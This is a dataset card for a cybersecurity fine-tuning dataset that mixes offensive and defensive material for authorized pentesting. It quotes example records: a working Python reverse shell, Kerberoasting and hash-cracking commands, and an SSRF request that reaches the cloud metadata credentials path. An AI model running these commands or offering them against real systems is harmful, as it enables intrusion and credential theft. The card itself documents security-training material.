Datasets:
RC-CyberSecurity-Combined ยท v3
A curated offensive + defensive cybersecurity fine-tuning dataset, assembled and cleaned by joni-rc-2. The RC-Skills layer teaches the model to produce real, runnable PoCs, concrete Kali Linux tool workflows, and a clean Markdown penetration-test report at the end of an engagement. Version 3 extends it with advanced tradecraft โ Active Directory attack-paths, cloud metadata / SSRF, pivoting & persistence, mobile / APK, binary reverse-engineering, and advanced web / API exploitation.
โ ๏ธ Use with authorization only
This dataset is for authorized security work only โ penetration testing, red-teaming, CTF, security research, and auditing systems you own or are contracted in writing to test. Every offensive example carries an authorization banner and the no-fabrication discipline. Do not use it to attack systems without explicit, written permission. You are responsible for staying within scope and the law.
What this is
A single, chat-ready training set that covers both sides of security โ defensive reasoning, CVE/MITRE knowledge, offensive / red-team technique, and now hands-on tradecraft (PoC + tooling + reporting) โ in one consistent format.
| Format | {"messages": [{"role": "system|user|assistant", "content": "..."}], "source": "..."} โ ready for unsloth / TRL SFTTrainer / apply_chat_template |
| Size | 66,077 conversations (train.jsonl 64,758 + valid.jsonl 1,319), ~45.3M tokens |
| Split | 98% train / 2% validation, shuffled |
| System role | majority of records carry a system persona focused on evidence-backed, authorized work |
How it was built
- Normalized many record shapes (Alpaca
instruction/input/output, ShareGPTconversations,messages) into one cleanmessagesschema. - Filtered ~24k trivial / templated / broken-code / near-duplicate entries.
- Capped templated CVE Q&A and de-duplicated across sources.
- Balanced defensive and offensive material.
- Added the RC-Skills layer (see below) and oversampled it ร3 so the tradecraft format is actually learned.
- Merged and shuffled into a single train/validation split.
Composition
| Records | Category | Content |
|---|---|---|
| 36,526 | Defensive reasoning | long-form Q&A (220426-CyberSec) |
| 19,300 | Offensive / red-team | attack techniques & methodology |
| 5,538 | Task-style Q&A | short security tasks |
| 1,463 | CVE / MITRE ATT&CK | structured vulnerability & technique analysis |
| 1,089 | RC-Skills (v3) | real PoCs ยท Kali/AD/cloud/mobile/RE workflows ยท Markdown reports (383 unique, 363 in train ร3) |
| 842 | Curated topics + misc | malware, phishing, cloud, forensics, OSINT, โฆ |
๐ The RC-Skills layer (v3)
383 unique, hand-engineered conversations (363 in train, oversampled ร3 so the format is actually learned, not merely seen; 20 held out for validation) that teach execution-grade tradecraft across realistic authorized-lab scenarios. This is the layer that separates a model which only talks about security from one that produces the artifact an operator can run โ a complete script, an exact tool command, or a finished report โ while keeping the discipline that stops a model from lying about results.
Why it matters
Base security datasets teach knowledge (what a CVE is, how a technique works). They do not teach a model to (a) emit a runnable PoC in the canonical form, (b) chain concrete Kali commands into an attack path, (c) refuse to fabricate findings, or (d) close an engagement with a professional report. RC-Skills is the thin, high-signal layer that teaches exactly those four behaviours โ the ones that make the difference between a demo and an assistant you can actually run an authorized engagement with.
Design principles โ enforced in every record
- Authorization first. Each record is framed as an authorized engagement (owned lab, CTF, or
written-contract scope); every script opens with an
[AUTHORIZED USE ONLY]banner. - No fabrication โ the most important rule. Answers label claims CONFIRMED (seen in real tool
output) vs UNVERIFIED (a hypothesis still to test), and use placeholders (
10.10.10.x,TARGET,<hash>) instead of inventing findings, CVEs, hashes or offsets. The model is taught that fewer real, evidence-backed findings beat many fabricated ones, and that retracting a wrong finding is expected. - Runnable, not stubs. PoCs are complete and functional โ they perform the operation rather than
print()-ing a description โ and prefer the canonical / idiomatic form of each technique. - Toolchain-grounded. Answers reach for concrete Kali/Linux commands with the exact flags and the shape of the expected output, so the operator (or an agent with a shell) runs them and the model interprets the real result.
- Report at the end. A finished engagement produces a clean Markdown report (executive summary,
scope, methodology, findings with severity + CVSS, evidence, impact, remediation, references) โ
PDF via
pandoc report.md -o report.pdf.
Skill domains & representative tooling
| Domain | What it teaches | Representative tooling |
|---|---|---|
| Recon & enumeration | service/version discovery, content & vhost fuzzing, SMB/LDAP enum | nmap, rustscan, ffuf, gobuster, whatweb, enum4linux-ng, netexec |
| Web exploitation | SQLi / XSS / SSRF / LFI PoCs, upload โ webshell | sqlmap, custom Python, intruder-style payloads |
| ๐ Advanced web / API | SSTI, XXE, insecure deserialization, JWT abuse, GraphQL, race conditions, IDOR | curl, jwt_tool, GraphQL introspection, Python |
| Reverse shells & handlers | the idiomatic os.dup2 shell + nc / bash / msfvenom / PowerShell variants, TTY stabilization |
nc, socat, msfvenom, pwncat |
| Credential attacks | online brute, offline hash cracking, Kerberoasting, spraying | hydra, hashcat, john, GetUserSPNs |
| Privilege escalation | Linux & Windows local privesc enumeration โ exploitation | linPEAS / winPEAS, GTFOBins, PrintSpoofer, secretsdump |
| ๐ Active Directory | full attack-paths from foothold to Domain Admin | BloodHound / bloodhound-python, impacket (secretsdump / DCSync, ticketer), certipy (ADCS ESC1), AS-REP roast |
| ๐ Cloud / SSRF | metadata-service abuse โ credential theft โ blast-radius mapping | AWS IMDSv1/v2 + S3, Azure managed-identity, GCP metadata, aws / az / gcloud CLI |
| ๐ Pivoting & persistence | tunnelling into internal networks, keeping access | chisel, ligolo-ng, proxychains, cron, authorized_keys |
| ๐ Mobile / APK | static secret / endpoint recovery + runtime bypass | jadx, apktool, Frida (SSL-pinning bypass) |
| ๐ Binary RE triage | first-look triage of an unknown binary | file, checksec, strings, rabin2, rizin, Ghidra |
| ๐ Containers / K8s | exposed API, service-account token abuse, escape surface | kubectl, service-account tokens |
| Reporting | the final Markdown pentest and retest / remediation-verification report | pandoc |
Example records
1 โ Reverse shell (the signature idiom):
{
"messages": [
{"role": "system", "content": "You are RC-Cyber, an offensive-security assistant for AUTHORIZED engagements only ..."},
{"role": "user", "content": "Authorized post-exploitation on srv-linux01 (10.10.10.20). Give me the best (idiomatic) Python reverse shell + one-liners."},
{"role": "assistant", "content": "#!/usr/bin/env python3\n# [AUTHORIZED USE ONLY] Run only against systems you own or are contracted in writing to test.\nimport socket, subprocess, os\nHOST, PORT = \"10.10.14.2\", 4444\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\nos.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)\nsubprocess.call([\"/bin/sh\", \"-i\"])\n..."}
],
"source": "rc-skills"
}
Why os.dup2? It wires the socket file descriptor directly onto stdin/stdout/stderr, so the spawned shell
is fully interactive over the network โ the canonical form, not a line-based recv/Popen loop.
2 โ Active Directory: Kerberoasting, with the no-fabrication discipline:
{"messages":[
{"role":"system","content":"You are RC-Cyber ... AUTHORIZED engagements only ..."},
{"role":"user","content":"Authorized AD assessment on CORP.LOCAL. I have a low-priv domain user. Find and crack service-account tickets."},
{"role":"assistant","content":"# [AUTHORIZED USE ONLY]\n## 1) Request SPN tickets (UNVERIFIED until you see output)\nimpacket-GetUserSPNs CORP.LOCAL/jdoe:'<pass>' -dc-ip 10.10.10.10 -request -outputfile spns.hash\n## 2) Crack offline\nhashcat -m 13100 spns.hash /usr/share/wordlists/rockyou.txt\n## 3) Validate โ mark CONFIRMED only once hashcat shows it cracked, then prove it:\nnetexec smb 10.10.10.10 -u svc_sql -p '<cracked>'\n# If nothing cracks, report: 'no weak SPN password found' โ do NOT invent one."}
], "source":"rc-skills"}
3 โ Advanced web: blind SSRF escalated to cloud metadata:
{"messages":[
{"role":"user","content":"Authorized test of https://app.target (in scope). The 'url' param looks like SSRF โ confirm it, then see if it reaches AWS metadata."},
{"role":"assistant","content":"# [AUTHORIZED USE ONLY]\n## 1) Confirm SSRF out-of-band (CONFIRMED only if your collaborator logs the hit)\ncurl 'https://app.target/fetch?url=http://<your-collab>.oast.site'\n## 2) Pivot to IMDS (UNVERIFIED hypothesis)\ncurl 'https://app.target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'\n# then read the role name it returns to reach the temporary keys.\n# Scope rule: do NOT use any recovered key outside the authorized account."}
], "source":"rc-skills"}
4 โ The report the model is trained to emit at the end:
# Penetration Test Report โ <engagement>
## Executive summary
## Scope & authorization
## Methodology
## Findings
### [High] Kerberoastable service account with a weak password (CVSS 8.1)
- **Evidence:** hashcat cracked `svc_sql` (appendix A) โ CONFIRMED
- **Impact:** lateral movement to the SQL tier, path toward Domain Admin
- **Remediation:** migrate to a 25+ char gMSA; monitor TGS-REQ for RC4
## Appendix A โ commands & raw tool output
Pairs with a Kali / WSL toolchain (the accuracy comes at runtime)
Training teaches format, method and breadth โ it does not make a finding true. The RC-Skills answers are designed to be executed: wired into an agent that has a shell (OpenCode / Cline / WSL / Kali), the model proposes the exact command, the operator (or the agent) runs it, and the model interprets the real output โ so every CONFIRMED finding is backed by tool evidence, not guessed. For factual freshness (CVEs, exploit details) pair the model with a RAG source (e.g. Exploit-DB / NVD). Model + real tools + RAG is the intended deployment; the dataset alone is the behaviour and format half of that system.
Example records (base layer)
Defensive (with a system role):
{"messages":[
{"role":"system","content":"You are a cybersecurity assistant focused on defensive, source-backed analysis."},
{"role":"user","content":"Describe DNS security hardening recommendations."},
{"role":"assistant","content":"DNS security hardening should include: implement DNSSEC ... restrict zone transfers ... monitor query logs ..."}
], "source":"real_cybersecurity_master_expansion.jsonl"}
Structured CVE analysis:
{"messages":[
{"role":"user","content":"Analyze the vulnerability CVE-1999-0018 and provide security assessment. CVSS Score: 10.0"},
{"role":"assistant","content":"## Vulnerability Analysis: CVE-1999-0018\n### Severity: (CVSS 10.0)\n### Remediation\n- Apply vendor patches ...\n### References\n- NVD: https://nvd.nist.gov/vuln/detail/CVE-1999-0018"}
], "source":"vulnerability-intelligence/cve-instruction-dataset.json"}
Quick start โ load & verify
The repo is private / gated; authenticate first (
huggingface-cli login, or passtoken=...).
from datasets import load_dataset
ds = load_dataset("joni-rc-2/RC-CyberSecurity-Combined") # add token=... if needed
print(ds) # train: 64758 | validation: 1319
print(ds["train"][0]["source"])
print(ds["train"][0]["messages"])
# sanity check the splits locally (no download)
import json
for split in ("train", "valid"):
n = sum(1 for _ in open(f"trajnim/{split}.jsonl", encoding="utf-8"))
with open(f"trajnim/{split}.jsonl", encoding="utf-8") as f:
for line in f:
r = json.loads(line)
assert r["messages"][-1]["role"] == "assistant"
print(split, n)
# expected -> train 64758 | valid 1319
Intended use & ethics
- Allowed: training a local security assistant for authorized pentesting, red-team, CTF, defensive tooling, security education, and auditing your own systems.
- Not allowed: unauthorized access, attacking third parties, or any unlawful activity.
- The data teaches methodology and format, not ground truth. A fine-tuned model still must run real tools and cite real output โ it does not make findings true. Keep the no-fabrication rule in the loop.
Sources & citations
The underlying question/answer material is drawn from two public datasets; the RC-Skills layer, curation, filtering, formatting, and combination are the contribution of this repo.
- Vyber07/cyber-security โ Apache-2.0 โ defensive reasoning + CVE/MITRE instruction data. https://huggingface.co/datasets/Vyber07/cyber-security
- WNT3D/Ultimate-Offensive-Red-Team โ MIT โ offensive / red-team material. https://huggingface.co/datasets/WNT3D/Ultimate-Offensive-Red-Team
RC-Skills references the following open frameworks and tools (trademarks of their owners): MITRE ATT&CKยฎ, OWASP Top 10, Nmap, Metasploit Framework, Impacket, sqlmap, Hashcat, John the Ripper, Hydra, ffuf, Gobuster, BloodHound, NetExec (CrackMapExec), PEASS-ng (linPEAS/winPEAS), certipy, Frida, jadx, rizin, Ghidra, chisel, ligolo-ng, Kali Linux.
License and attribution for the source content are retained per Apache-2.0 and MIT.
BibTeX
@misc{rc_cybersecurity_combined_2026,
title = {RC-CyberSecurity-Combined v3: an offensive + defensive security fine-tuning dataset
with runnable PoCs, Kali/AD/cloud workflows, and reporting},
author = {joni-rc-2},
year = {2026},
howpublished = {\url{https://huggingface.co/datasets/joni-rc-2/RC-CyberSecurity-Combined}},
note = {Built on Vyber07/cyber-security (Apache-2.0) and WNT3D/Ultimate-Offensive-Red-Team (MIT).
For authorized security use only.}
}
License & copyright
Copyright ยฉ 2026 joni-rc-2. Licensed under the Apache License, Version 2.0 โ see
LICENSE and NOTICE.
The RC-Skills layer, curation, filtering, normalization, formatting, and the combined train/validation
splits are the original, copyrighted contribution of joni-rc-2. The underlying source components retain
their original Apache-2.0 (Vyber07/cyber-security) and MIT (WNT3D/Ultimate-Offensive-Red-Team) terms.
If you use, train on, or redistribute this dataset or any derivative, you must keep the copyright notice and
the NOTICE attribution (Apache-2.0 ยง4). Trademarks referenced belong to their respective owners.
- Downloads last month
- 581